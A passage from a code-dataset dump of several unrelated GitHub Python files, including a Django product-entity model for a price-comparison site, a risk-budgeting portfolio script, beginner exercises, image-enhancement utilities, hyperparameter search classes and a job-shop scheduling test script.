solotodo.models import EntityLog\n\n if not user:\n user = get_user_model().get_bot()\n\n entity_log = EntityLog(\n entity=self,\n user=user,\n )\n\n save_log = False\n\n for field, new_value in updated_data.items():\n old_value = getattr(self, field)\n if field in EntityLog.DATA_FIELDS:\n setattr(entity_log, field, old_value)\n if old_value != new_value:\n save_log = True\n\n setattr(self, field, new_value)\n\n self.save()\n\n if save_log:\n # Fill the remaining fields\n for field in EntityLog.DATA_FIELDS:\n if field not in updated_data:\n entity_value = getattr(self, field)\n setattr(entity_log, field, entity_value)\n entity_log.save()\n\n def save(self, *args, **kwargs):\n is_associated = bool(self.product_id or self.cell_plan_id or\n self.bundle)\n\n if bool(self.last_association_user_id) != bool(self.last_association):\n raise IntegrityError('Entity must have both last_association '\n 'fields or none of them')\n\n if not self.is_visible and is_associated:\n raise IntegrityError('Entity cannot be associated and be hidden '\n 'at the same time')\n\n if not self.product_id and self.cell_plan_id:\n raise IntegrityError('Entity cannot have a cell plan but '\n 'not a primary product')\n\n if not self.product_id and self.bundle_id:\n raise IntegrityError('Entity cannot have a bundle plan but '\n 'not a primary product')\n\n if is_associated != bool(self.last_association_user_id):\n raise IntegrityError(\n 'Associated entities must have association metadata, '\n 'non-associated entities must not')\n\n super(Entity, self).save(*args, **kwargs)\n\n def update_pricing(self):\n scraper = self.store.scraper\n\n if self.store.storescraper_extra_args:\n extra_args = json.loads(self.store.storescraper_extra_args)\n else:\n extra_args = None\n\n scraped_products = scraper.products_for_url(\n self.discovery_url,\n category=self.scraped_category.storescraper_name,\n extra_args=extra_args\n )\n\n entity_scraped_product = None\n for scraped_product in scraped_products:\n if scraped_product.key == self.key:\n entity_scraped_product = scraped_product\n break\n\n self.update_with_scraped_product(entity_scraped_product)\n\n def events(self):\n entity = self\n events = []\n\n def apply_log_to_entity(log):\n from solotodo.models import EntityLog\n\n local_changes = []\n\n for field in EntityLog.DATA_FIELDS:\n entity_value = getattr(entity, field)\n log_value = getattr(log, field)\n if entity_value != log_value:\n setattr(entity, field, log_value)\n local_changes.append({\n 'field': field,\n 'old_value': log_value,\n 'new_value': entity_value,\n })\n\n return local_changes\n\n for log in self.entitylog_set.select_related():\n changes = apply_log_to_entity(log)\n events.append({\n 'user': log.user,\n 'timestamp': log.creation_date,\n 'changes': changes\n })\n\n return events\n\n def user_has_staff_perms(self, user):\n return user.has_perm('is_category_staff',\n self.category)\n\n def user_can_view_stocks(self, user):\n return user.has_perm('view_category', self.category) \\\n and user.has_perm('view_store_stocks', self.store)\n\n def associate(self, user, product, cell_plan=None, bundle=None):\n if not self.is_visible:\n raise IntegrityError('Non-visible cannot be associated')\n\n if self.product == product and self.cell_plan == cell_plan and \\\n self.bundle == bundle:\n raise IntegrityError(\n 'Re-associations must be made to a different product / '\n 'cell plan / bundle combination')\n\n if self.category != product.category:\n raise IntegrityError(\n 'Entities must be associated to products of the same category')\n\n if self.cell_plan_name and not cell_plan:\n raise IntegrityError(\n 'Entities with cell plan name must specify a plan.')\n\n now = timezone.now()\n\n update_dict = {\n 'last_association': now,\n 'last_association_user': user,\n 'product': product,\n 'cell_plan': cell_plan,\n 'bundle': bundle\n }\n\n self.update_keeping_log(update_dict, user)\n\n def dissociate(self, user, reason=None):\n if not self.product:\n raise IntegrityError('Cannot dissociate non-associated entity')\n if reason and self.last_association_user == user:\n raise IntegrityError(\n 'Reason must not be present if the last association user is '\n 'the same as the one dissociating the entity')\n\n update_dict = {\n 'last_association': None,\n 'last_association_user': None,\n 'product': None,\n 'cell_plan': None,\n 'bundle': None\n }\n\n if reason:\n self.last_association_user.send_entity_dissociation_mail(\n self, user, reason)\n\n self.update_keeping_log(update_dict, user)\n\n def associate_related_cell_entities(self, user):\n from django.conf import settings\n\n assert self.cell_plan_name\n assert self.product\n\n print('Associating related entities for: {}'.format(self))\n\n other_entities = Entity.objects.filter(\n store=self.store,\n name=self.name\n ).exclude(\n pk=self.pk\n )\n\n other_cell_plan_names = [e.cell_plan_name for e in other_entities]\n\n cell_plan_category = Category.objects.get(\n pk=settings.CELL_PLAN_CATEGORY)\n\n matching_cell_plans = EsProduct.category_search(cell_plan_category)\\\n .filter(\n 'terms',\n specs__association_name=other_cell_plan_names)[:100] \\\n .execute()\n\n cell_plan_ids = [cell_plan.product_id\n for cell_plan in matching_cell_plans]\n cell_plans = Product.objects.filter(pk__in=cell_plan_ids)\n cell_plans_dict = iterable_to_dict(cell_plans)\n\n cell_plans_dict = {\n cell_plan.specs['association_name']:\n cell_plans_dict[cell_plan.product_id]\n for cell_plan in matching_cell_plans\n }\n\n print('Related entities found:')\n for entity in other_entities:\n print('* {}'.format(entity))\n\n if entity.cell_plan_name in cell_plans_dict:\n cell_plan = cell_plans_dict[entity.cell_plan_name]\n print('Matching plan found: {}'.format(cell_plan))\n if entity.product != self.product or \\\n entity.cell_plan != cell_plan or \\\n entity.bundle != self.bundle:\n entity.associate(user, self.product, cell_plan,\n self.bundle)\n else:\n print('No matching cell plan found')\n\n def picture_urls_as_list(self):\n if not self.picture_urls:\n return None\n return json.loads(self.picture_urls)\n\n def video_urls_as_list(self):\n if not self.video_urls:\n return None\n return json.loads(self.video_urls)\n\n def affiliate_url(self, soicos_prefix=\"\"):\n from django.conf import settings\n\n linio_settings = settings.LINIO_AFFILIATE_SETTINGS\n affiliate_ids = settings.AFFILIATE_IDS\n\n if self.store_id == linio_settings['STORE_ID']:\n if '?' in self.url:\n separator = '&'\n else:\n separator = '?'\n\n target_url = '{}{}utm_source=affiliates&utm_medium=hasoffers&' \\\n 'utm_campaign={}&aff_sub=' \\\n ''.format(self.url, separator,\n linio_settings['AFFILIATE_ID'])\n\n url = 'https://linio.go2cloud.org/aff_c?offer_id=18&aff_id={}' \\\n '&url={}'.format(linio_settings['AFFILIATE_ID'],\n urllib.parse.quote(target_url))\n return url\n elif self.store_id in affiliate_ids:\n target_url = self.url\n affiliate_id = affiliate_ids[self.store_id]\n url = 'https://ad.soicos.com/{}?dl={}&trackerID={}{}'.format(\n affiliate_id, urllib.parse.quote(target_url), soicos_prefix,\n self.active_registry_id)\n\n return url\n\n return None\n\n def update_sec_qr_codes(self):\n if self.store.storescraper_extra_args:\n extra_args = json.loads(self.store.storescraper_extra_args)\n else:\n extra_args = None\n session = session_with_proxy(extra_args)\n session.headers['user-agent'] = \\\n ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/116.0.0.0 Safari/537.36')\n\n picture_urls = self.picture_urls_as_list() or []\n\n qr_codes = set()\n for picture_url in picture_urls:\n response = session.get(picture_url, timeout=10)\n if response.status_code != 200:\n continue\n image = Image.open(io.BytesIO(response.content))\n decoded_qr_codes = decode(image)\n for decoded_qr_code in decoded_qr_codes:\n if decoded_qr_code.type != 'QRCODE':\n continue\n qr_url = decoded_qr_code.data.decode('UTF-8')\n qr_code_match = re.match(\n r'https://ww6.sec.cl/qr/qr.do\\?a=prod&i=(\\d+)$', qr_url)\n if not qr_code_match:\n continue\n qr_code = str(int(qr_code_match.groups()[0]))\n qr_codes.add(qr_code)\n\n if qr_codes:\n sec_qr_codes = ','.join(qr_codes)\n else:\n sec_qr_codes = '0'\n\n self.sec_qr_codes = sec_qr_codes\n self.save()\n\n def sec_info(self):\n if not self.sec_qr_codes or self.sec_qr_codes == '0':\n return []\n sec_qr_codes = self.sec_qr_codes.split(',')\n sec_entries = []\n for sec_qr_code in sec_qr_codes:\n zeros = 13 - len(sec_qr_code)\n sec_url = 'https://ww6.sec.cl/qr/qr.do?a=prod&i={}{}'.format(\n zeros * '0', sec_qr_code\n )\n raw_sec_data = fetch_sec_fields(sec_qr_code)\n sec_entry = {\n 'code': sec_qr_code,\n 'sec_url': sec_url,\n 'brands': raw_sec_data['Marcas'],\n 'models': raw_sec_data['Modelos'],\n }\n sec_entries.append(sec_entry)\n return sec_entries\n\n class Meta:\n app_label = 'solotodo'\n ordering = ('creation_date', )\n unique_together = ('store', 'key')\n permissions = [\n ('backend_list_entities', 'Can view entity list in backend'),\n ('backend_view_entity_conflicts',\n 'Can view entity conflicts in backend'),\n ('backend_view_entity_estimated_sales',\n 'Can view the entity estimated sales interface in backend'\n ),\n ('backend_view_pending_entities',\n 'Can view the pending entities interface in the backend'\n ),\n ]\n","repo_name":"SoloTodo/solotodo_core","sub_path":"solotodo/models/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":29916,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"2"} +{"seq_id":"28212028956","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import minimize\n\n\"\"\"\nThis file constructs a strategic ERP portfolio and compare with an equal weighted portfolio.\n\"\"\"\n\n\n# risk budgeting approach optimisation object function\ndef obj_fun(x, p_cov, rb):\n\treturn np.sum((x*np.dot(p_cov, x)/np.dot(x.transpose(), np.dot(p_cov, x))-rb)**2)\n\n\n# constraint on sum of weights equal to one\ndef cons_sum_weight(x):\n\treturn np.sum(x)-1.0\n\n\n# constraint on weight larger than zero\ndef cons_long_only_weight(x):\n\treturn x\n\n\n# calculate risk budgeting portfolio weight give risk budget\ndef rb_p_weights(asset_rets, rb):\n\t# number of ARP series\n\tnum_arp = asset_rets.shape[1]\n\t# covariance matrix of asset returns\n\tp_cov = asset_rets.cov()\n\t# initial weights\n\tw0 = 1.0 * np.ones((num_arp, 1)) / num_arp\n\t# constraints\n\tcons = ({'type': 'eq', 'fun': cons_sum_weight}, {'type': 'ineq', 'fun': cons_long_only_weight})\n\t# portfolio optimisation\n\treturn minimize(obj_fun, w0, args=(p_cov, rb), method='SLSQP', constraints=cons)\n\n\nif __name__ == \"__main__\":\n\t# 1. Load ARP data\n\trf_data = pd.read_excel(\"data/data_rp.xlsx\", \"RF\") # load daily risk free rate data\n\tarp_data = pd.read_excel(\"data/data_rp.xlsx\", \"RP\") # load daily risk premia data\n\trf_data = rf_data[1:]\n\tarp_data = arp_data[1:]\n\trf_data = rf_data.apply(pd.to_numeric)\n\tarp_data = arp_data.apply(pd.to_numeric)\n\n\t# 2. Calculate ARP excess returns\n\tarp_rets = (np.log(arp_data) - np.log(arp_data.shift(1)))[1:]\n\tarp_rets = arp_rets.sub(rf_data.squeeze()/252, axis='index')\n\n\t# 3. Construct risk budgeting portfolio\n\t# portfolio dates\n\tp_dates = arp_rets.index[arp_rets.index >= '2005-01-03']\n\t# previous month\n\tpre_mth = 12\n\n\t# initialise portfolio weights matrix\n\tw = pd.DataFrame(index=p_dates, columns=arp_rets.columns)\n\t# initialise portfolio return matrix\n\tp_rets = pd.DataFrame(index=p_dates, columns=['Risk Parity'])\n\n\tfor t in p_dates:\n\n\t\t# construct risk budgeting portfolio and re-balance on monthly basis\n\t\tif t.month==pre_mth:\n\t\t\t# keep the same portfolio weights within the month\n\t\t\tw.ix[t] = w.iloc[w.index.get_loc(t)-1]\n\t\telse:\n\t\t\t# update the value of the previous month record\n\t\t\tpre_mth = t.month\n\t\t\t# re-balance the portfolio at the start of the month\n\t\t\tw.ix[t] = rb_p_weights(arp_rets[arp_rets.index < t], 1.0/num_arp).x\n\n\t\t# calculate risk budgeting portfolio returns\n\t\tp_rets.ix[t] = np.sum(w.ix[t] * arp_rets.ix[t])\n\n\t# 4. Construct equal weighted portfolio\n\tew_rets = pd.DataFrame(np.sum(1.0*arp_rets[arp_rets.index>=p_dates[0]]/num_arp, axis=1), columns=['Equal Weighted'])\n\n\t# 5. Plot the portfolio cumulative returns\n\tp_cumrets = (p_rets + 1).cumprod()\n\tew_cumrets = (ew_rets + 1).cumprod()\n\n\tpd.concat([p_cumrets, ew_cumrets], axis=1).plot()\n\tplt.show()\n","repo_name":"Quantoria/Risk_Budgeting","sub_path":"construct_portoflio.py","file_name":"construct_portoflio.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"2"} +{"seq_id":"20363996999","text":"# Задание 3\n# Записывает в новый файл все слова в алфавитном порядке из другого файла с текстом. Каждое слово на новой строке.\n# Рядом со словом укажите сколько раз оно встречалось в тексте\n\n\nfile_read = open(\"zadanie3.txt\", 'r')\nfile_write = open(\"zadanie3_out.txt\", \"w\", encoding=\"utf-8\")\nz = {}\na = []\n\n\nline = file_read.readlines()\nprint(type(line))\nfor i in line:\n j_razbitie_na_slova = i.split()\n\n# Очищаю от знаков припинания, перевожу все в нижний регистр, проверяю на длину\n for j in j_razbitie_na_slova:\n j = j.strip('-,!.():; #\"–')\n j = j.lower()\n if len(j) > 1:\n #print(type(j))\n a.append(j)\n\na = sorted(a)\nb = sorted(set(a))\nprint(b)\n\nfor i in b:\n k = a.count(i)\n z = {'word': i, 'count': k}\n print(z['word'], z['count'], file=file_write)\n\n#Считаю количество повторов слов\n\n\n\n\n\n\nfile_read.close()\nfile_write.close()\n# #\n\n\n # for j in i:\n # print(j, sep=' ', end=' ')\n#\n#\n# with open(r'zadanie3.txt', 'r') as s_file:\n# words = [word for line in s_file for word in line.split()]\n# print(type(words))","repo_name":"Blyznyuk/Home6","sub_path":"ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"30768185317","text":"x = int(input('Digite um valor inteiro: '))\ny = int(input('Digite novamente um valor inteiro: '))\ns = 0\nm = 0\nprint('''OPERAÇÕES:\n[ 1 ] somar\n[ 2 ] multiplicar\n[ 3 ] maior\n[ 4 ] novos numeros\n[ 5 ] sair do programa''')\nn = int(input('Qual operação gostaria de realizar? '))\nif n > 5:\n n = int(input('Opção invalida, tente novamente. '))\nelif n < 1:\n n = int(input('Opção invalida, tente novamente. '))\nwhile 1 <= n <= 5:\n if n == 1:\n s = x + y\n print('A soma é {}'.format(s))\n n = int(input('Qual operação gostaria de realizar? '))\n elif n == 2:\n m = (x * y)\n print('A multiplicação é {}'.format(m))\n n = int(input('Qual operação gostaria de realizar? '))\n elif n == 3:\n if x > y:\n print('{} é maior do que {}'.format(x, y))\n elif y > x:\n print('{} é maior do que {}'.format(y, x))\n else:\n print('Numeros sao iguais.')\n n = int(input('Qual operação gostaria de realizar? '))\n elif n == 4:\n x = int(input('Digite um novo numero.'))\n y = int(input('Digite outro novo numero.'))\n n = int(input('Qual operação gostaria de realizar? '))\n elif n == 5:\n break\nprint('Fim do programa!')\n\n\n\n\n\n\n","repo_name":"pldorini/python-exercises","sub_path":"desafios/desafio 59.py","file_name":"desafio 59.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"1598400980","text":"import os\nimport cv2 \nimport argparse\nfrom skimage import img_as_float64\nimport matplotlib.pyplot as plt\n\n\ndef read_show(file_path,file,show=False):\n '''\n A function to read an image and return a RGB version of it,\n also display the image.\n\n Args:\n\n file_path : the path/location of the input file\n file : input filename \n show : if set \"True\" displays the image\n '''\n\n img = cv2.imread(os.path.join(file_path,file))\n b,g,r = cv2.split(img) # get b,g,r\n img = cv2.merge([r,g,b]) # switch it to rgb\n \n if show==True:\n plt.imshow(img)\n plt.xticks([]),plt.yticks([])\n plt.show()\n return img\n\n\ndef plot_hist(orig_img, enh_img, hist=False, save=False, fname=None):\n '''\n A function to display original and enhanced images.\n\n\n Args:\n\n origin_img : input image\n enh_img : MSRCR output \n save : FALSE(default); Set it to TRUE to save the output to assets.\n '''\n if hist :\n fig, ax = plt.subplots(2,2, figsize=(20,15))\n\n ax[0,0].imshow(orig_img)\n ax[0,0].set_xticks([])\n ax[0,0].set_yticks([])\n ax[0,0].set_title('Original',fontsize=25)\n ax[1,0].hist(orig_img.ravel(),256,[0,256])\n\n ax[0,1].imshow(enh_img)\n ax[0,1].set_xticks([])\n ax[0,1].set_yticks([])\n ax[0,1].set_title('Enhanced',fontsize=25)\n ax[1,1].hist(enh_img.ravel(),256,[0,256])\n\n fig.suptitle('Multi-scale retinex with color restoration', fontsize=30, y=1.05)\n fig.tight_layout()\n\n else :\n fig, ax = plt.subplots(1,2, figsize=(15,8))\n\n ax[0].imshow(orig_img)\n ax[0].set_xticks([])\n ax[0].set_yticks([])\n ax[0].set_title('Original',fontsize=25)\n ax[1].imshow(enh_img)\n ax[1].set_xticks([])\n ax[1].set_yticks([])\n ax[1].set_title('Enhanced',fontsize=25)\n\n fig.suptitle('Multi-scale retinex with color restoration', fontsize=30, y=1.05)\n fig.tight_layout()\n\n \n if save:\n if fname is not None:\n save_file = os.path.join('assets', fname) \n plt.savefig(save_file,bbox_inches='tight',dpi=72)\n plt.close(fig)\n\n \n\ndef checker(path):\n if os.path.basename is None:\n raise argparse.ArgumentTypeError('File name not included in the path.')\n\n if os.path.basename not in os.path.dirname:\n raise argparse.ArgumentTypeError(f'{os.path.basename} doesn\\'t exist in given path')\n return","repo_name":"adiMallya/retinex","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"1144778293","text":"def fileToString(f1, f2):\n filename1 = f1.filename\n filename2 = f2.filename\n print(type(f1))\n # read để đọc file ==> dạng bytes\n # decode ==> formart định dạng về utf-8 (string)\n res1 = f1.read().decode('utf-8')\n res2 = f2.read().decode('utf-8')\n file1_list = res1.splitlines()\n file2_list = res2.splitlines()\n return filename1, filename2, file1_list, file2_list\n","repo_name":"dangdu259e/WebCompare2File","sub_path":"service/FormartFile.py","file_name":"FormartFile.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73246963886","text":"from typing import Any\n\nimport numpy as np\nfrom sklearn.model_selection import cross_val_score, StratifiedKFold, RandomizedSearchCV\nimport random\nfrom sklearn.base import clone\n\n\nclass ParamSearch:\n def __init__(self) -> None:\n pass\n\n def fit(self, classifier, X, y, **kwargs):\n pass\n\n\nclass ParamSearchResult:\n def __init__(self, classifier, result: Any) -> None:\n self.classifier = classifier\n self.result = result\n\n\nclass RandomizedSearch:\n def __init__(\n self,\n classifier,\n param_grid: dict,\n folds: int = 3,\n random_state: int = None,\n n_iter: int = 30,\n n_jobs: int = 4,\n scoring: str = \"accuracy\",\n verbose: int = 1,\n ):\n self.classifier = classifier\n self.param_grid = param_grid\n self.folds = folds\n self.random_state = random_state\n self.n_iter = n_iter\n self.n_jobs = n_jobs\n self.scoring = scoring\n self.verbose = verbose\n\n def fit(self, X, y) -> ParamSearchResult:\n skf = StratifiedKFold(\n n_splits=self.folds, shuffle=True, random_state=self.random_state\n )\n\n random_search = RandomizedSearchCV(\n self.classifier,\n param_distributions=self.param_grid,\n n_iter=self.n_iter,\n n_jobs=self.n_jobs,\n cv=skf.split(X, y),\n verbose=self.verbose,\n scoring=self.scoring,\n return_train_score=True,\n )\n\n random_search.fit(X, y)\n\n return ParamSearchResult(\n classifier=random_search.best_estimator_, result=random_search\n )\n\n\nclass GeneticAlgorithmSearch(ParamSearch):\n def __init__(\n self,\n classifier,\n param_grid: dict,\n n_generations: int = 50,\n pop_size: int = 10,\n n_survive: int = 5,\n threads: int = 1,\n folds: int = 3,\n verbose: bool = False,\n random_state: int = 42,\n shuffle: bool = False\n ) -> None:\n self.classifier = classifier\n self.param_grid = param_grid\n self.threads = threads\n self.pop_size = pop_size\n self.folds = folds\n self.n_generations = n_generations\n self.n_survive = n_survive\n self.n_procreate = pop_size - n_survive\n self.populations = {}\n self.verbose = verbose\n self.random_state = random_state\n self.shuffle = shuffle\n\n def get_accuracy(self, classifier, X, y):\n skf = StratifiedKFold(n_splits=self.folds, shuffle=self.shuffle, random_state=self.random_state)\n scores = cross_val_score(classifier, X, y, n_jobs=self.threads, cv=skf)\n return np.mean(scores)\n\n def initiate_pop(self, param_grid):\n pop = []\n for _ in range(self.pop_size):\n random_initializer = random.uniform(0, 1)\n individual = {}\n for param in param_grid.keys():\n individual[param] = random.choice(param_grid[param])\n pop.append((random_initializer, individual))\n return pop\n\n def generation_pass(self, pop, X, y):\n evaluated_pop = []\n for _, params in pop:\n clf_individual = clone(self.classifier)\n clf_individual.set_params(**params)\n acc = self.get_accuracy(clf_individual, X, y)\n evaluated_pop.append((acc, params))\n return evaluated_pop\n\n def kill(self, pop):\n pop.sort(key=lambda x: x[0], reverse=True)\n reduced_pop = pop[: self.n_survive]\n return reduced_pop\n\n def procreate(self, pop):\n new_pop = pop.copy()\n for _ in range(self.n_procreate):\n individual = {}\n random_initializer = random.uniform(0, 1)\n for oldie in pop:\n _, old_individual = oldie\n for param in old_individual.keys():\n individual[param] = random.choice(self.param_grid[param])\n new_pop.append((random_initializer, individual))\n return new_pop\n\n def fit(self, X, y) -> dict:\n pop = self.initiate_pop(self.param_grid)\n for generation in range(self.n_generations):\n evaluated_pop = self.generation_pass(pop, X, y)\n reduced_pop = self.kill(evaluated_pop)\n if self.verbose:\n print(f\"Generation {generation}\")\n print(f\"Accuracy {reduced_pop[0][0]}\")\n print(f\"Best param {reduced_pop[0][1]}\")\n self.populations[generation] = reduced_pop\n pop = self.procreate(reduced_pop)\n return self.populations\n\n @property\n def best_estimator_(self):\n if len(self.populations) == 0:\n raise Exception(\"The genetic algorithm has not been run\")\n acc, best_params = self.populations[0][0]\n if self.verbose:\n print(\"Accuracy: \", acc)\n best_estimator = clone(self.classifier)\n best_estimator.set_params(**best_params)\n return best_estimator\n","repo_name":"InfectionMedicineProteomics/DPKS","sub_path":"dpks/param_search.py","file_name":"param_search.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"} +{"seq_id":"16951713346","text":"import torch\nimport os\n\nfrom utils.utils import *\nfrom utils.utils_fjspt import build_caseConfig, parse\nfrom options import get_options\nfrom logging import getLogger\nfrom train import setup_seed\n\nfrom test import _print_config\nfrom DHJS_models.TFJSPTester import generate_vali_env, restore_model, validate_multi_models\nfrom GA_models.GATester import GAtest, parser_from_case\n\nfrom env.case_generator_v2 import CaseGenerator\nfrom env.tfjsp_env import TFJSPEnv\n\nfrom DTrans_models.TFJSPModel_dtrans import TFJSPModel_DTrans\nfrom matnet_models.TFJSPTrainer_matnet import TFJSPModel_matnet\nfrom hgnn_models.TFJSPModel_hgnn import TFJSPModel_hgnn\nfrom dispatching_models.dispatchModel import dispatchModel\nfrom GTrans_models.TFJSPModel_gtrans import TFJSPModel_GTrans\n\n\ndef main(opts, benchmark_file=None):\n # === load config ===\n with open(\"./configs/config.json\", 'r') as load_f:\n load_dict = json.load(load_f)\n env_paras = load_dict[\"env_paras\"]\n model_paras = load_dict[\"model_paras\"]\n train_paras = load_dict[\"train_paras\"]\n optimizer_paras = load_dict[\"optimizer_paras\"]\n logger_paras = load_dict[\"logger_paras\"]\n test_paras = load_dict[\"test_paras\"]\n \n \n # === setting benchmark dataset path ===\n benchmark_path_base = './BenchmarkDataset/dataset/'\n if benchmark_file is not None:\n benchmark_path = os.path.join(benchmark_path_base, benchmark_file)\n opts.log_file_desc = f'test_{benchmark_file}'\n else:\n benchmark_path = os.path.join(benchmark_path_base, opts.benchmark_file)\n opts.log_file_desc = f'test_{opts.benchmark_file}'\n\n # === runtime config change ===\n model_paras['sqrt_embedding_dim'] = model_paras['embedding_dim']**(1/2)\n model_paras['sqrt_qkv_dim'] = model_paras['qkv_dim']**(1/2)\n model_paras['ms_layer1_init'] = (1/2)**(1/2)\n model_paras['ms_layer2_init'] = (1/16)**(1/2)\n \n logger_paras['log_file']['desc'] = opts.log_file_desc\n logger_paras['log_file']['filepath'] = './result/' + process_start_time.strftime(\"%Y%m%d_%H%M%S\") + '{desc}'\n \n setup_seed(seed=opts.test_seed)\n create_logger(**logger_paras)\n _print_config()\n \n device = torch.device(\"cuda:\"+str(opts.cuda) if torch.cuda.is_available() else \"cpu\")\n \n if device.type == 'cuda':\n torch.cuda.set_device(device)\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\n else:\n torch.set_default_tensor_type('torch.FloatTensor')\n print(\"PyTorch device: \", device)\n torch.set_printoptions(precision=None, threshold=np.inf, edgeitems=None, linewidth=None, profile=None, sci_mode=False)\n \n env_paras[\"device\"] = device\n test_paras[\"device\"] = device\n model_paras[\"device\"] = device\n env_paras[\"batch_size\"] = 1 # for test_benchmark\n \n test_paras[\"batch_size\"] = env_paras[\"batch_size\"]\n model_paras[\"batch_size\"] = env_paras[\"batch_size\"]\n model_paras[\"checkpoint_encoder\"] = opts.checkpoint_encoder\n model_paras[\"algorithm\"] = opts.algorithm\n \n \n \n \n # === load benchmark dataset ===\n parameters = parse(benchmark_path)\n case_config = build_caseConfig(parameters, benchmark_path_base)\n \n # === transform datset into case_generator format ===\n case = CaseGenerator(\n num_jobs=None, num_opes=None, num_mas=None, num_vehs=None, device=device,\n opes_per_job_min=None, opes_per_job_max=None,\n data_source='benchmark', case_config=case_config\n )\n env_paras[\"proctime_per_ope_max\"] = 30\n env_paras[\"transtime_btw_ma_max\"] = 20\n test_paras[\"num_jobs\"] = case_config['num_jobs']\n test_paras[\"num_mas\"] = case_config['num_mas']\n test_paras[\"num_vehs\"] = case_config['num_vehs']\n test_paras[\"num_opes\"] = case_config['num_opes']\n \n model_paras[\"proctime_per_ope_max\"] = env_paras[\"proctime_per_ope_max\"]\n model_paras[\"transtime_btw_ma_max\"] = env_paras[\"transtime_btw_ma_max\"]\n \n model_paras[\"critic_in_dim\"] = model_paras[\"out_size_ma\"] + model_paras[\"out_size_ope\"]\n model_paras['num_opes'] = test_paras[\"num_opes\"]\n model_paras['num_mas'] = test_paras[\"num_mas\"]\n model_paras['num_vehs'] = test_paras[\"num_vehs\"]\n \n logger = getLogger(name='tester')\n result_folder = get_result_folder()\n result_log = LogData()\n \n env = TFJSPEnv(case=case, env_paras=test_paras)\n vali_env = [env]\n \n logger.info('{} | job_{}, ma_{}, veh_{}'.\n format(opts.log_file_desc, case_config['num_jobs'],case_config['num_mas'], case_config['num_vehs']))\n \n \n model_paras['encoder_layer_num'] = 2\n # : 20230426_144354_matnet_jobcentric_10_6_6\n matnet_jobcentric_10_6_6 = TFJSPModel_matnet(\n embedding_dim_=model_paras[\"embedding_dim\"],\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n **model_paras\n ).to(device)\n \n # : 20230427_094750_hgnn_jobcentric_10_6_6\n model_paras[\"actor_in_dim\"] = model_paras[\"out_size_ma\"] * 2 + model_paras[\"out_size_ope\"] * 2\n model_paras[\"critic_in_dim\"] = model_paras[\"out_size_ma\"] + model_paras[\"out_size_ope\"]\n model_paras[\"action_dim\"] = 1\n hgnn_jobcentric_10_6_6 = TFJSPModel_hgnn(env_paras, model_paras)\n \n # : 20230428_083724_dtrans_jobcentric_10_6_6_EncV5_DecV5\n dtrans_jobcentric_10_6_6_EncV5_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=5,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230428_084322_dtrans_jobcentric_10_6_6_EncV0_DecV5\n dtrans_jobcentric_10_6_6_EncV0_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=0,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230428_083853_dtrans_jobcentric_10_6_6_EncV5_DecV0\n dtrans_jobcentric_10_6_6_EncV5_DecV0 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=5,\n decoder_version=0,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230428_172447_dtrans_jobcentric_10_6_6_EncV1_DecV5\n # : self-node transformer 가 제안기법이랑 성능이 어떻게 다른지 비교하기 위해\n # : 모든 모드에게 MHA 적용, edge 고려 없이\n dtrans_jobcentric_10_6_6_EncV1_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=1,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230429_101909_dtrans_jobcentric_10_6_6_EncV3_DecV5\n model_paras['encoder_layer_num'] = 3\n 